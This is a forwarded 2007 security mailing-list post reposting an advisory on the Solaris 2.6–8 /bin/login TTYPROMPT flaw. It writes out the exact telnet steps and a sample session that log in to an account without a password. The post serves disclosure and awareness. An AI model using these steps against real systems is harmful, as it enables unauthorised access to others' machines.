[security-alerts] Fwd: Re[2]: Solaris telnet vulnberability - how many on your network?

[3APA3A <3APA3A@xxxxxxxxxxxxxxxx>]

üÔÏ ÐÒÏÓÔÏ ÐÒÁÚÄÎÉË ËÁËÏÊ-ÔÏ...

--This is a forwarded message
From: Thierry Zoller <Thierry@xxxxxxxxx>
To: bugtraq@xxxxxxxxxxxxxxxxx <bugtraq@xxxxxxxxxxxxxxxxx>
Date: Wednesday, February 21, 2007, 9:57:41 PM
Subject: Solaris telnet vulnberability - how many on your network?

===8<==============Original message text===============
Dear Marc,

This is hilarious, should there ever be a Top10 of the most weird bugs,
this surely is one of them, repost for pure amusement :

  Solaris 2.6, 7, and 8 /bin/login has a vulnerability involving the
environment variable TTYPROMPT.  This vulnerability has already been
reported to BugTraq and a patch has been released by Sun.
  However, a very simple exploit, which does not require any code to be
compiled by an attacker, exists.  The exploit requires the attacker to
simply define the environment variable TTYPROMPT to a 6 character string,
inside telnet. I believe this overflows an integer inside login, which
specifies whether or not the user has been authenticated (just a guess).
Once connected to the remote host, you must type the username, followed by
64 " c"s, and a literal "\n".  You will then be logged in as the user
without any password authentication.  This should work with any account
except root (unless remote root login is allowed).

Example:

coma% telnet
telnet> environ define TTYPROMPT abcdef
telnet> o localhost

SunOS 5.8

bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c
c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
Last login: whenever
$ whoami
bin


-- 
http://secdev.zoller.lu
Thierry Zoller
Fingerprint : 5D84 BFDC CD36 A951 2C45  2E57 28B3 75DD 0AC6 F1C7


===8<===========End of original message text===========


-- 
~/ZARAZA
÷ÅÞÎÁÑ ÐÁÍÑÔØ Ó×ÑÔÏÍÕ ðÁÔÒÉËÕ! (ô×ÅÎ)